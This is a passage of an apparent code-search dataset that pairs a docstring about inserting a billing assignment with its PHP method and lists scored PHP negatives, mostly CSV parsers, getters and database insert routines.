header\n if (empty($this->map)) {\n $this->parse_header($elements);\n if (empty($this->map)) {\n break;\n }\n }\n // Parse data row\n else {\n // handle multiline elements (e.g. Gmail)\n if (!empty($prev_line)) {\n $first = array_shift($elements);\n\n if ($first[0] == '\"') {\n $prev_line[count($prev_line)-1] = '\"' . $prev_line[count($prev_line)-1] . \"\\n\" . substr($first, 1);\n }\n else {\n $prev_line[count($prev_line)-1] .= \"\\n\" . $first;\n }\n\n $elements = array_merge($prev_line, $elements);\n }\n\n $last_element = $elements[count($elements)-1];\n if ($last_element[0] == '\"') {\n $elements[count($elements)-1] = substr($last_element, 1);\n $prev_line = $elements;\n continue;\n }\n $this->csv_to_vcard($elements);\n $prev_line = false;\n }\n }\n }", "public function getLine() {\n return $this->parse()['line'];\n }", "public function importCsv()\n {\n $file = fopen($_FILES['csvFile']['tmp_name'], \"r\");\n $payments = array();\n while (!feof($file)) {\n $row = fgetcsv($file, 0, \"\\t\");\n if (count($row) == 14 && $row[0] != \"Kirjauspäivä\") {\n $dateOfPayment = new \\DateTime($row[2]);\n $values = array(\n 'date_of_payment' => $dateOfPayment->format('Y-m-d H:i:s'),\n 'amount' => $this->makeFloat($row[3]),\n 'reference_number' => $row[8],\n 'amount_left' => 0,\n );\n $payments[] = new Payment($values);\n }\n }\n fclose($file);\n $insert = $this->paymentRepository->insert($payments);\n if ($insert !== true) {\n $message = \"Maksujen kirjaamisessa tapahtui virhe.<br />\" . $insert;\n $error = array(\"error\" => $message);\n ErrorService::setErrors($error);\n return;\n }\n Redirect::to(\"/maksut/syotto\", array(\"success\" => \"Maksut kirjattu onnistuneesti.\"));\n\n }", "public function actionImportFromCsv()\n {\n HBackup::importDbFromCsv($this->csvFile);\n }", "function parseCsvLine($line) {\n $parts = explode(\";\", $line);\n $result = array();\n\n while (!empty($parts)) {\n $elt = array_shift($parts);\n\n // handle fields starting end ending with \"\n // merge the fields that were exploded because they contain \";\"\n // and remove the starting end ending \"\n if (startsWith($elt, \"\\\"\")) {\n $part = substr($elt,1);\n while (!endsWith($part, \"\\\"\") && !empty($parts)) {\n $elt = array_shift($parts);\n $part = $part.\";\".$elt;\n }\n if (endsWith($part, \"\\\"\")) {\n $part = substr($part, 0, strlen($part) -1);\n }\n $result[] = $part;\n } else {\n $result[] = $elt;\n }\n }\n return $result;\n}", "public static function getLineEndingCharacterCSV( $filePath ) {\n\t // first, have PHP auto-detect the line endings, like @AbraCadaver suggested:\n\t ini_set(\"auto_detect_line_endings\", true);\n\n\t // now open the file and read a single line from it\n\t $file = fopen($filePath, 'r');\n\t fgets($file);\n\n\t // fgets() moves the pointer, so get the current position\n\t $position = ftell($file);\n\n\t // now get a couple bytes (here: 10) from around that position\n\t fseek($file, $position - 5);\n\t $data = fread($file, 10);\n\n\t // we no longer need the file\n\t fclose($file);\n\n\t // now find out how many of each type EOL there are in those 10 bytes\n\t // expected result is that two of these will be 0 and one will be 1\n\t $eols = array(\n\t \"\\r\\n\" => substr_count($data, \"\\r\\n\"),\n\t \"\\r\" => substr_count($data, \"\\r\"),\n\t \"\\n\" => substr_count($data, \"\\n\"),\n\t );\n\n\t // sort the EOL count in reverse order, so that the EOL with the highest\n\t // count (expected: 1) will be the first item\n\t arsort($eols);\n\n\t // get the first item's key\n\t $eol = key($eols);\n\n\t return $eol;\n\t}", "function import_csv()\n {\n $msg = 'OK';\n $path = JPATH_ROOT.DS.'tmp'.DS.'com_condpower.csv';\n if (!$this->_get_file_import($path))\n {\n return array(FALSE, JTEXT::_('COM_CONDPOWER_ERROR_UPLOAD_IMPORT_CSV_FILE'));\n }\n// $_data = array(); \n if ($fp = fopen($path, \"r\"))\n {\n while (($data = fgetcsv($fp, 1000, ';', '\"')) !== FALSE) \n {\n unset($_data);\n $_data['virtuemart_custom_id'] = $data[0];\n $_data['virtuemart_product_id'] = $data[1];\n $id = $this->_find_id($_data['virtuemart_custom_id'],$_data['virtuemart_product_id']);\n if((int)$id>0)\n {\n $_data['id'] = $id;\n }\n// $_data['intvalue'] = iconv('windows-1251','utf-8',$data[3]);\n $_data['intvalue'] = str_replace(',', '.', iconv('windows-1251','utf-8',$data[3]));\n if(!$this->_save($_data))\n {\n $msg = 'ERROR';\n }\n }\n fclose($fp);\n }\n else\n {\n return array(FALSE, JTEXT::_('COM_CONDPOWER_ERROR_OPEN_TO_IMPORT'));\n }\n return array(TRUE,$msg);\n }", "private function read_csv() //address book\n {\n $addresses = [];\n $handle = fopen($this->filename, \"r\");\n while (!feof($handle)) \n {\n $row = fgetcsv($handle);\n if(is_array($row)) \n {\n $addresses[] = $row;\n }\n }\n fclose($handle);\n return $addresses;\n }", "public function getLine();", "public function getLine();", "public function getLine();", "public function getLine();", "public function fetch()\n {\n static $currentLine = 0;\n $dataResult = array();\n\n if (isset($this->options['skipHeader']) && $this->options['skipHeader'] === true) {\n $skipLines = 1;\n } elseif (isset($this->options['skipHeader']) && \\is_numeric($this->options['skipHeader'])) {\n $skipLines = (int)$this->options['skipHeader'];\n } else {\n $skipLines = 0;\n }\n if (($handle = fopen($this->csvFilePath, 'r')) !== false) {\n while (($data = fgetcsv($handle, 65534, $this->csvDelimiter, $this->csvEnclosure)) !== false) {\n // skip header (maybe is better to set the first offset position instead)\n if ($currentLine < $skipLines) {\n $currentLine++;\n continue;\n }\n if ($currentLine >= $this->offset && $currentLine < ($this->offset + $this->limit)) {\n if (isset($data[0]) && $data[0] !== '') {\n $this->preProcessRecordData($data);\n $dataResult[] = $data;\n }\n }\n $currentLine++;\n }\n fclose($handle);\n }\n $this->logger->debug(sprintf('%s: read %s lines and found %s records.', $this->csvFilePath, $currentLine, count($dataResult)));\n return $dataResult;\n }", "public function getLine() {\n return $this->line;\n }", "function read_csv($db)\n {\n $query=\"INSERT into dishes(did,dname,resturant) values\";\n $temp=array();\n $handle=fopen('sample.csv', 'r');\n if(!$handle)\n {\n echo \"error\";\n }\n\n $temp=fgetcsv($handle);//skip the heading...\n\n while(!feof($handle))\n {\n $temp=fgetcsv($handle);\n $did=$db->mysqlready($temp[0]);\n $dname=$db->mysqlready($temp[1]);\n $dname=check_appro($dname);\n $rest=$db->mysqlready($temp[2]);\n $rest=check_appro($rest);\n $query.=\"($did,'$dname','$rest'),\";\n\n }\n $fquery=substr($query, 0,-1);\n $fquery.=\";\";\n $status=$db->query($fquery);\n\n if(!$status)\n {\n return false;\n }\n else\n {\n return true;\n }\n }", "public function getLine()\n\t{\n\t\treturn $this->line;\n\t}", "function read_csv()\n {\n $handle = fopen($this->filename, 'r');\n $filesize = filesize($this->filename);\n $openList = [];\n if($filesize != 0) {\n while(!feof($handle)) {\n $openList[] = fgetcsv($handle);\n } \n }else {\n $openList = array();\n }\n fclose($handle);\n return $openList;\n }", "protected function get_line() { \n\t\t$line = $this->lines[$this->cursor]; \n\t\t$this->cursor++; return $line; \n\t}", "function loadLine($a_row)\n\t{\n\t\t$this->lineID=$a_row['LineID'];\n\t\t$this->sheetID=$a_row['SheetID'];\n\t\t$this->workDescription=$a_row['WorkDescription'];\n\t\t$this->amount=$a_row['Amount'];\n\t}", "public function importLine(Import $import, ImportLine $line);", "public function getLine()\n {\n return $this->line;\n }", "public function getLine()\n {\n return $this->line;\n }", "public function getLine()\n {\n return $this->line;\n }", "public function getLine()\n {\n return $this->line;\n }", "public function getLine()\n {\n return $this->line;\n }", "public function getLine()\n {\n return $this->line;\n }", "public function nextRawDataItem() {\n\n // Shortcut if we have reached the limit\n if ($this->readItems >= $this->limit)\n return false;\n\n try {\n $csvLine = $this->stream->readCSVLine($this->separator, $this->enclosure);\n\n $this->readItems++;\n\n // Only continue if we have some content\n if (is_array($csvLine) && trim($csvLine[0])) {\n\n if ($this->skipRegex) {\n preg_match($this->skipRegex, $csvLine[0], $matches);\n if ($matches)\n return null;\n }\n\n $dataItem = [];\n $columnIndex = 0;\n foreach ($csvLine as $index => $value) {\n if (!in_array($index, $this->ignoreColumnIndexes) && (!$this->skipBlankColumnValues || trim($value))) {\n\n // Ensure we have enough columns\n if (!isset($this->csvColumns[$columnIndex]))\n $this->csvColumns[] = new Field(\"column\" . (sizeof($this->csvColumns) + 1));\n\n if (isset($this->csvColumns[$columnIndex]))\n $dataItem[$this->csvColumns[$columnIndex]->getName()] = trim($value);\n $columnIndex++;\n }\n }\n\n return $dataItem;\n } else {\n return null;\n }\n\n\n } catch (StreamException $e) {\n return false;\n }\n\n }" ]
[ "0.76077473", "0.73653376", "0.6836819", "0.66346085", "0.65609217", "0.64579666", "0.6420143", "0.6225561", "0.61358243", "0.61098754", "0.608432", "0.606057", "0.5991197", "0.5971147", "0.5953649", "0.5930565", "0.585343", "0.58188003", "0.5791966", "0.57916206", "0.5778562", "0.577533", "0.5723618", "0.5661167", "0.5656721", "0.5650145", "0.5636954", "0.56250215", "0.5621801", "0.5608781", "0.5599173", "0.5594308", "0.5594118", "0.55708325", "0.55603176", "0.55125934", "0.5469849", "0.546137", "0.54553473", "0.54541814", "0.5434398", "0.54038954", "0.5403367", "0.540058", "0.5398381", "0.5395117", "0.5363281", "0.536222", "0.5352437", "0.53512156", "0.53397286", "0.53319985", "0.532254", "0.531942", "0.53159165", "0.53038114", "0.53032404", "0.5300182", "0.5285353", "0.5284191", "0.5282902", "0.5276692", "0.5265437", "0.5265214", "0.5263053", "0.5259581", "0.5257216", "0.52563375", "0.52558273", "0.5252102", "0.5248426", "0.5247666", "0.52383673", "0.52307874", "0.5227853", "0.5227361", "0.5223366", "0.5223127", "0.52207845", "0.5219747", "0.52054316", "0.52049655", "0.52049655", "0.52049655", "0.52049655", "0.5202727", "0.5199195", "0.5192961", "0.51844037", "0.51836747", "0.5177785", "0.51695454", "0.51673365", "0.5167311", "0.5167311", "0.5167311", "0.5167311", "0.5167311", "0.5167311", "0.5165854" ]
0.7231493
2
Inserts a new billing assignment and returns the new assignment. Only one of advertiser_id or campaign_id is support per request. If the new assignment has no effect (assigning a campaign to the parent advertiser billing profile or assigning an advertiser to the account billing profile), no assignment will be returned. (billingAssignments.insert)
public function insert($profileId, $billingProfileId, BillingAssignment $postBody, $optParams = []) { $params = ['profileId' => $profileId, 'billingProfileId' => $billingProfileId, 'postBody' => $postBody]; $params = array_merge($params, $optParams); return $this->call('insert', [$params], BillingAssignment::class); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function store(AssignmentRequest $request)\n { \n /** AssignmentRequest will automatically return all errors if validation failed */\n\n $input = $request->validated();\n $record = AssetAssignment::create($input);\n\n event(new AssignmentAlert(Auth()->user()));\n \n return $this->sendResponse(new AssetAssignResource($record), 'record created successfully.');\n }", "function insertEditAssignment(&$editAssignment) {\n\t\t$this->update(\n\t\t\tsprintf('INSERT INTO edit_assignments\n\t\t\t\t(article_id, editor_id, can_edit, can_review, date_notified, date_underway)\n\t\t\t\tVALUES\n\t\t\t\t(?, ?, ?, ?, %s, %s)',\n\t\t\t\t$this->datetimeToDB($editAssignment->getDateNotified()),\n\t\t\t\t$this->datetimeToDB($editAssignment->getDateUnderway())),\n\t\t\tarray(\n\t\t\t\t$editAssignment->getArticleId(),\n\t\t\t\t$editAssignment->getEditorId(),\n\t\t\t\t$editAssignment->getCanEdit()?1:0,\n\t\t\t\t$editAssignment->getCanReview()?1:0\n\t\t\t)\n\t\t);\n\n\t\t$editAssignment->setEditId($this->getInsertEditId());\n\t\treturn $editAssignment->getEditId();\n\t}", "function insertObject(&$reviewAssignment) {\n\t\t$this->update(\n\t\t\tsprintf('INSERT INTO review_assignments (\n\t\t\t\tsubmission_id,\n\t\t\t\treviewer_id,\n\t\t\t\tstage_id,\n\t\t\t\treview_method,\n\t\t\t\tregret_message,\n\t\t\t\tround,\n\t\t\t\tcompeting_interests,\n\t\t\t\trecommendation,\n\t\t\t\tdeclined, replaced, cancelled,\n\t\t\t\tdate_assigned, date_notified, date_confirmed,\n\t\t\t\tdate_completed, date_acknowledged, date_due, date_response_due,\n\t\t\t\treviewer_file_id,\n\t\t\t\tquality, date_rated,\n\t\t\t\tlast_modified,\n\t\t\t\tdate_reminded, reminder_was_automatic,\n\t\t\t\treview_form_id,\n\t\t\t\treview_round_id,\n\t\t\t\tunconsidered\n\t\t\t\t) VALUES (\n\t\t\t\t?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, %s, %s, %s, %s, %s, %s, %s, ?, ?, %s, %s, %s, ?, ?, ?, ?\n\t\t\t\t)',\n\t\t\t\t$this->datetimeToDB($reviewAssignment->getDateAssigned()), $this->datetimeToDB($reviewAssignment->getDateNotified()), $this->datetimeToDB($reviewAssignment->getDateConfirmed()), $this->datetimeToDB($reviewAssignment->getDateCompleted()), $this->datetimeToDB($reviewAssignment->getDateAcknowledged()), $this->datetimeToDB($reviewAssignment->getDateDue()), $this->datetimeToDB($reviewAssignment->getDateResponseDue()), $this->datetimeToDB($reviewAssignment->getDateRated()), $this->datetimeToDB($reviewAssignment->getLastModified()), $this->datetimeToDB($reviewAssignment->getDateReminded())),\n\t\t\tarray(\n\t\t\t\t(int) $reviewAssignment->getSubmissionId(),\n\t\t\t\t(int) $reviewAssignment->getReviewerId(),\n\t\t\t\t(int) $reviewAssignment->getStageId(),\n\t\t\t\t(int) $reviewAssignment->getReviewMethod(),\n\t\t\t\t$reviewAssignment->getRegretMessage(),\n\t\t\t\tmax((int) $reviewAssignment->getRound(), 1),\n\t\t\t\t$reviewAssignment->getCompetingInterests(),\n\t\t\t\t$reviewAssignment->getRecommendation(),\n\t\t\t\t(int) $reviewAssignment->getDeclined(),\n\t\t\t\t(int) $reviewAssignment->getReplaced(),\n\t\t\t\t(int) $reviewAssignment->getCancelled(),\n\t\t\t\t$reviewAssignment->getReviewerFileId(),\n\t\t\t\t$reviewAssignment->getQuality(),\n\t\t\t\t$reviewAssignment->getReminderWasAutomatic(),\n\t\t\t\t$reviewAssignment->getReviewFormId(),\n\t\t\t\t(int) $reviewAssignment->getReviewRoundId(),\n\t\t\t\t(int) $reviewAssignment->getUnconsidered(),\n\t\t\t)\n\t\t);\n\n\t\t$reviewAssignment->setId($this->getInsertReviewId());\n\t\treturn $reviewAssignment->getId();\n\t}", "function add_assignment($params)\n {\n $this->db->insert('assignments',$params);\n return $this->db->insert_id();\n }", "function addReviewAssignment($reviewAssignment) {\r\n\t\tif ($reviewAssignment->getDecisionId() == null) {\r\n\t\t\t$reviewAssignment->setDecisionId($this->getId());\r\n\t\t}\r\n\r\n\t\tif (isset($this->reviewAssignments)) {\r\n\t\t\t$reviewAssignments = $this->reviewAssignments;\r\n\t\t} else {\r\n\t\t\t$reviewAssignments = Array();\r\n\t\t}\r\n\t\tarray_push($reviewAssignments, $reviewAssignment);\r\n\r\n\t\treturn $this->reviewAssignments = $reviewAssignments;\r\n\t}", "public function post_create()\n\t{\n\t\ttry\n\t\t{\n\t\t\t$input = array();\n\n\t\t\tif(Assignments::check_unique_assignment(Input::get('user_id'), Input::get('room_id') ))\n\t\t\t{\n\t\t\t\t$input['user_id'] = Input::get('user_id');\n\t\t\t\t$input['room_id'] = Input::get('room_id');\n\n\t\t\t\t$success = Assignments::create($input);\n\n\t\t\t\tif( $success )\n\t\t\t\t{\n\t\t\t\t\treturn Redirect::to_route('details')\n\t\t\t\t\t->with('message', 'Created new assignment successfully!');\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\treturn Redirect::to_route('details')\n\t\t\t\t\t->with('error', 'Assignment Failed!');\n\t\t\t\t}\n\t\t\t}\n\n\t\t\telse\n\t\t\t{\n\t\t\t\treturn Redirect::to_route('details')\n\t\t\t\t->with('error', 'Assignment already exists!');\n\t\t\t}\n\n\t\t}\n\n\t\tcatch(Exception $e)\n\t\t{\n\t\t\tLog::write('error', $e->getMessage());\n\t\t\treturn Response::error('500');\n\t\t}\n\n\t}", "public function store(Request $request)\n {\n if (Gate::denies('is_admin', Auth::user()))\n return back();\n\n $input = $request->all();\n $input['author_user_id'] = Auth::user()->id;\n $input['date'] = now();\n $input['status'] = config('string.status.open');\n $input['update_status'] = config('string.status.open');\n\n Assignment::create($input);\n return redirect()->action('AssignmentController@index')->with('message', 'Create successfully.');\n }", "public static function getAssignments($bannerId) {\n $sah = new StudentAssignmentHistory($bannerId);\n return $sah;\n }", "function addBilling($shipmentID, $freightCharge, $addOnCharge, $cratingCharge, $osaCharge, $valuationCharge, $totalCharge) {\n try {\n /** Instantiate the Database model. **/\n $db = Database::getInstance();\n\n /** Connect to the database. **/\n $dbh = $db->getConnection();\n\n /** Prepare the sql query to be used. **/\n $stmt = $dbh->prepare(\"INSERT INTO billing (shipmentID, freightCharge, addOnCharge, cratingCharge, osaCharge, valuationCharge, totalCharge) VALUES(:shipmentID, :freightCharge, :addOnCharge, :cratingCharge, :osaCharge, :valuationCharge, :totalCharge)\");\n\n /** Bind the parameters to the sql query. **/\n $stmt->bindParam(':shipmentID', $shipmentID);\n $stmt->bindParam(':freightCharge', $freightCharge);\n $stmt->bindParam(':addOnCharge', $addOnCharge);\n $stmt->bindParam(':cratingCharge', $cratingCharge);\n $stmt->bindParam(':osaCharge', $osaCharge);\n $stmt->bindParam(':valuationCharge', $valuationCharge);\n $stmt->bindParam(':totalCharge', $totalCharge);\n\n /** Execute the query. **/\n $stmt->execute();\n\n /** Check if insert was successful. **/\n $count = $stmt->rowCount();\n if($count > 0) {\n return true;\n }\n\n else {\n return false;\n }\n }\n catch(PDOException $e) {\n echo $e->getMessage();\n }\n }", "public function store(Request $request)\n {\n $data = $this->assignmentService->createAssignment($request->input());\n return response()->json($data);\n }", "private function insertPlan($accountId, $planId, $effectiveDate) {\n $stmt = $this->pdo->prepare(\n 'INSERT INTO account_plans(account_id,plan_id,effective_date) '\n . 'VALUES(:account_id,:plan_id,:effective_date)');\n \n return $stmt->execute([\n ':account_id' => $accountId,\n ':plan_id' => $planId,\n ':effective_date' => $effectiveDate,\n ]);\n }", "public function add_billing(Request $request, $campaign_id)\n {\n $inputs = $request->validate([\n 'target_clicks' => 'required',\n 'target_shares' => 'required',\n 'target_days' => 'required'\n ]);\n\n $campaign = Campaign::find($campaign_id);\n if ($campaign->update($inputs)) {\n return redirect()->route('campaigns.show', [$campaign_id])->with('msg','Billing info set');\n } else {\n return back()->with('errors', 'Failed to update billing information');\n }\n }", "function sb_assignment_insert ($node) {\n\n db_query(\"INSERT INTO {eto_assignments}\n (\" . $node->key_field . \", \" . $node->target_field . \")\n VALUES\n (%d, %d)\",\n\t $node->uid, $node->selected_uid);\n\n}", "public function creating(assignment $assignment)\n {\n //code...\n }", "function insert() {\n\t\tglobal $_DB_DATAOBJECT; //Indicate to PHP that we want to use the already-defined global, as opposed to declaring a local var\n\t\t//Grab the database connection that has already been made by the parent's constructor:\n\t\t$__DB = &$_DB_DATAOBJECT['CONNECTIONS'][$this->_database_dsn_md5];\n\t\tif ($this->reg_type != null) {\n\t\t\t$this->badge_number = $__DB->nextId('badge_number'); //Fetch the next id in the sequence. To set the sequence to a specifc value, use phpMyAdmin to tweak the value in the badge_number_seq table\n\t\t}\n\t\treturn DB_DataObject::insert();\n\t}", "public function store(Campaign $campaign, CampaignRequest $request)\n {\n// dump($request->all());\n $campaign ->create($request->all());\n// dump($request->all('bunch'));\n// dump($campaign);\n return redirect()->route('campaign.index');\n }", "public function create()\n {\n return view('backend.assignments.assignment-add');\n }", "public function assign($objToAssign){\n if($this->ID != NULL and\n $objToAssign instanceof Employee and\n $objToAssign->ID != NULL){\n $myAssignment = new Assignment($this->ID, $objToAssign->ID);\n return $myAssignment->save();\n }\n }", "public function getAssignmentId()\n\t{\n\t\treturn $this->assignmentId;\n\t}", "public function save()\n\t{\n\t\tglobal $ilDB;\n\n\t\t// sequence\n\t\t$this->setId($ilDB->nextId(\"adn_ep_assignment\"));\n \t$id = $this->getId();\n\n\t\t$fields = $this->propertiesToFields();\n\t\t$fields[\"id\"] = array(\"integer\", $id);\n\t\t\t\n\t\t$ilDB->insert(\"adn_ep_assignment\", $fields);\n\n\t\tparent::save($id, \"adn_ep_assignment\");\n\n\t\treturn $id;\n\t}", "function insertSingleAbility($text,$cost){\n //foreach ($abs as &$ab){\n $ab=$text;\n if($ab){\n\t$s = new Abscript();\n\t$t=parseAbility(trim($ab));\n\tif($t!=''){\n\t\t$s->setAbility(parseAbility(trim($t)));\n\t\t$s->setSample(trim($cost.$ab));\n\t\ttry {\n\t\t\t$s->save();\t\n\t\t} catch (Exception $e) {\n\t\t\tunset($e);\n\t\t}\n\t\tunset($s);\n\t\tpreg_match('/a\\([^\\)]*\\)/',$ab,$sabs);\n\t\tforeach ($sabs as $sab){\n\t\t\t//$s = AbscriptQuery::create()->findPk($sab);\n\t\t\tif($sab ){\n\t\t\t\t$s = new Abscript();\n\n\t\t\t\t$s->setAbility(parseAbility(trim($sab)));\n\t\t\t\t$s->setSample(trim($cost.$sab));\n\t\t\t\ttry {\n\t\t\t\t\t$s->save();\t\n\t\t\t\t} catch (Exception $e) {\n\t\t\t\t\tunset($e);\n\t\t\t\t}\n\t\t\t\tunset($s);\t\t\n\t\t\t}\n\t\t}\n\t}\n }\n //}\n}", "protected function insert()\n\t{\n\t\t$query = $this->connection->prepare\n\t\t(\"\n\t\t\tinsert into\n\t\t\t\tBooth (BoothNum)\n\t\t\t\tvalues (?)\n\t\t\");\n\n\t\t$query->execute(array_values($this->fields));\n\n\t}", "private function insertOrUpdateGoal($action = 'PUT') {\r\n $post_array = json_decode($this->requestParameters);\r\n $this->clientOwnsProject();\r\n $this->checkReadOnlyFields(FALSE, 400601);\r\n\r\n self::getCurrentPrimaryGoal();\r\n\r\n if ($action == 'POST') {\r\n $this->checkMandatoryFields(FALSE, 400600);\r\n }\r\n\r\n $goal = self::setGoalsArray($action);\r\n $goal['status'] = 1;\r\n\r\n if (array_key_exists('level', $post_array)) {\r\n if ($post_array->level == 'PRIMARY') {\r\n if ($action == 'PUT') {\r\n $this->newPrimaryGoalId = $this->goal;\r\n }\r\n }\r\n }\r\n\r\n if (isset($this->group) && $this->group != -1) {\r\n $goal['page_groupid'] = $this->group;\r\n }\r\n $goal['landingpage_collectionid'] = $this->project;\r\n $goal['deleteddate'] = NULL;\r\n\r\n if ($this->goal == NULL) {\r\n $this->goal = self::goalAlreadyExists();\r\n }\r\n\r\n if ($this->goal) {\r\n self::updateExistingGoal($goal);\r\n } else {\r\n $this->db->insert('collection_goals', $goal);\r\n $this->goal = $this->db->insert_id();\r\n if ($this->goal > 0) {\r\n $this->flushClientCache($this->account);\r\n }\r\n }\r\n\r\n if (is_numeric($this->goal) && $this->goal > 0) {\r\n\r\n $this->syncCollectionGoals();\r\n\r\n if (!array_key_exists('level', $post_array) || $post_array->level == 'PRIMARY') {\r\n self::setPrimaryGoal();\r\n }\r\n\r\n self::setDefaultPrimaryGoalIfNotSet();\r\n return $this->successResponse(200, $this->goal);\r\n }\r\n\r\n throw new Exception('Could not add or update the goal for the given project', 500);\r\n }", "function cemhub_insert_campaign_source_id_entry($node_id, $submission_id, $campaign_source_id) {\n db_insert('cemhub_campaign_source')\n ->fields(array(\n 'sid' => $submission_id,\n 'nid' => $node_id,\n 'campaign' => $campaign_source_id,\n ))\n ->execute();\n}", "public function insert($embargoCountryaccessrule);", "public function run()\n\t{\n\t\tDB::table('assignments')->delete();\n\n\t\tAssignment::create(\n\t\t\tarray(\n\t\t\t\t'date_assigned' => now(),\n\t\t\t\t'date_inspected' => now(),\n\t\t\t\t'insurer' => 'Malayan',\n\t\t\t\t'broker' => 'MARSH',\n\t\t\t\t'ref_no' => '19-8641',\n\t\t\t\t'name_insured' => 'Masterpiece Asia Property, Inc.',\n\t\t\t\t'adjuster' => 'JMC',\n\t\t\t\t'third_party' => 'H&M Store',\n\t\t\t\t'pol_no' => '',\n\t\t\t\t'pol_type' => 'CAR',\n\t\t\t\t'risk_location' => 'Highway',\n\t\t\t\t'nature_loss' => 'CAR',\n\t\t\t\t'date_loss' => now(),\n\t\t\t\t'contact_person' => '',\n\t\t\t\t'loss_reserve' => '2000.00',\n\t\t\t\t'status_list_id' => 1,\n\t\t\t\t'remarks' => '',\n\t\t\t\t'created_by' => 'Jonathan Quebral',\n\t\t\t\t'updated_by' => 'Jonathan Quebral'\n\t\t\t)\n\t\t);\n\t}", "public function insert($productId, $skuId, Google_Service_Licensing_LicenseAssignmentInsert $postBody, $optParams = array())\n {\n $params = array('productId' => $productId, 'skuId' => $skuId, 'postBody' => $postBody);\n $params = array_merge($params, $optParams);\n return $this->call('insert', array($params), \"Google_Service_Licensing_LicenseAssignment\");\n }", "public function testAssignmentOfferingMethod()\n {\n $assignment = factory(Assignment::class)->create();\n $offering = factory(Offering::class)->create();\n $assignment->offering()->associate($offering);\n $assignment->save();\n\n $this->assertDatabaseHas('assignments', [\n 'id' => $assignment->id,\n 'offering_id' => $offering->id,\n ]);\n }", "public function actionCreateAllocation()\n {\n $model = new AllocationDetails();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n\n $wpLoc = WpLocation::findOne(['id'=>$model->wpLocCode]);\n $model->name = $wpLoc->name;\n \n $year = CurrentYear::getCurrentYear();\n $model->yearId =(string) $year->_id;\n $yearstring =substr($year->yearStartDate,-4).substr($year->yearEndDate,-4);\n $model->allocationID = $model->wpLocCode.$yearstring;\n $model->save();\n return $this->redirect(['view', 'id' => (string)$model->_id]);\n }\n\n return $this->render('create', [\n 'model' => $model,\n ]);\n }", "public function createNewCampaign(){\n\t\t$viewDataController = new ViewDataController();\n\t\t$data = $viewDataController->buildData();\n\n\t\t$cc = new CollegeCampaign;\n\t\t$cc->save();\n\n\t\tCache::put(env('ENVIRONMENT').'_'.$data['user_id'].'_newCampaignId', $cc->id, 600);\n\t}", "public function store(CampaignCreateRequest $request)\n {\n $campaign = new Campaign();\n $campaign->status_id = CampaignStatus::DRAFT;\n $campaign->name = $request[\"name\"];\n $campaign->category_id = $request[\"category_id\"];\n $campaign->description = $request[\"description\"];\n $campaign->author_id = Auth::user()->id;\n $campaign->save();\n\n return self::responseData(new CampaignResource($campaign),201);\n }", "public function addAccount($firstName, $lastName, $planId, $effectiveDate) {\n try {\n // start the transaction\n $this->pdo->beginTransaction();\n \n // insert an account and get the ID back\n $accountId = $this->insertAccount($firstName, $lastName);\n \n // add plan for the account\n $this->insertPlan($accountId, $planId, $effectiveDate);\n \n // commit the changes\n $this->pdo->commit();\n } catch (\\PDOException $e) {\n // rollback the changes\n $this->pdo->rollBack();\n throw $e;\n }\n }", "public function saving(assignment $assignment)\n {\n //code...\n }", "function prepareAssignments() {\n try {\n $project_objects_table = TABLE_PREFIX . 'project_objects';\n $assignments_table = TABLE_PREFIX . 'assignments';\n\n DB::execute(\"ALTER TABLE $assignments_table ADD parent_type VARCHAR(50) NOT NULL FIRST\");\n DB::execute(\"ALTER TABLE $assignments_table CHANGE object_id parent_id INT(10) UNSIGNED NOT NULL DEFAULT '0' AFTER parent_type\");\n DB::execute(\"ALTER TABLE $project_objects_table ADD assignee_id int(10) unsigned NULL DEFAULT NULL AFTER parent_id\");\n DB::execute(\"ALTER TABLE $project_objects_table ADD delegated_by_id int(10) unsigned NULL DEFAULT NULL AFTER assignee_id\");\n DB::execute(\"ALTER TABLE $project_objects_table ADD INDEX (assignee_id)\");\n DB::execute(\"ALTER TABLE $project_objects_table ADD INDEX (delegated_by_id)\");\n\n DB::beginWork('Updating assignment data @ ' . __CLASS__);\n\n $rows = DB::execute(\"SELECT DISTINCT $project_objects_table.id, $project_objects_table.type FROM $project_objects_table, $assignments_table WHERE $project_objects_table.id = $assignments_table.parent_id\");\n if($rows) {\n foreach($rows as $row) {\n DB::execute(\"UPDATE $assignments_table SET parent_type = ? WHERE parent_id = ?\", $row['type'], $row['id']);\n } // foreach\n } // if\n\n // Clean up records that don't have parent type set (there's no corresponding project object)\n DB::execute(\"DELETE FROM $assignments_table WHERE parent_type = ''\");\n\n // Move assignee ID to project_objects table\n $rows = DB::execute(\"SELECT user_id, parent_id FROM $assignments_table WHERE is_owner = ?\", true);\n if($rows) {\n foreach($rows as $row) {\n DB::execute(\"UPDATE $project_objects_table SET assignee_id = ? WHERE id = ?\", $row['user_id'], $row['parent_id']);\n } // foreach\n\n DB::execute(\"DELETE FROM $assignments_table WHERE is_owner = ?\", true);\n } // if\n\n DB::execute(\"UPDATE $project_objects_table SET delegated_by_id = created_by_id WHERE assignee_id IS NOT NULL AND assignee_id != created_by_id\");\n\n DB::commit('Assignment data updated @ ' . __CLASS__);\n\n DB::execute(\"ALTER TABLE $assignments_table DROP is_owner\");\n\n // Recreate indexes (we needed them to speed up type update)\n DB::execute(\"ALTER TABLE $assignments_table DROP INDEX object_id\");\n DB::execute(\"ALTER TABLE $assignments_table DROP PRIMARY KEY\");\n\n DB::execute(\"ALTER TABLE $assignments_table ADD PRIMARY KEY (parent_type, parent_id, user_id)\");\n DB::execute(\"ALTER TABLE $assignments_table ADD INDEX (user_id)\");\n } catch(Exception $e) {\n DB::rollback('Failed to update assignment data @ ' . __CLASS__);\n return $e->getMessage();\n } // try\n\n return true;\n }", "public function store(AgencyRequest $request)\n {\n $province_name = Province::find($request->province_id)->name;\n $district_name = District::find($request->district_id)->name;\n $ward_name = Ward::find($request->ward_id)->name;\n $mapResults = GoogleMapsHelper::lookUpInfoFromAddress($province_name . ' ' . $district_name . ' ' . $ward_name . ' ' . $request->home_number);\n if (isset($mapResults->geometry)) {\n $location = isset($mapResults->geometry->location) ? $mapResults->geometry->location : null;\n }\n DB::beginTransaction();\n try {\n $data = new Agency();\n $data->name = $request->name;\n $data->discount = $request->discount;\n $data->phone = $request->phone;\n $data->address = $request->home_number . ', ' . $ward_name . ', ' . $district_name . ', ' . $province_name;\n $data->province_id = $request->province_id;\n 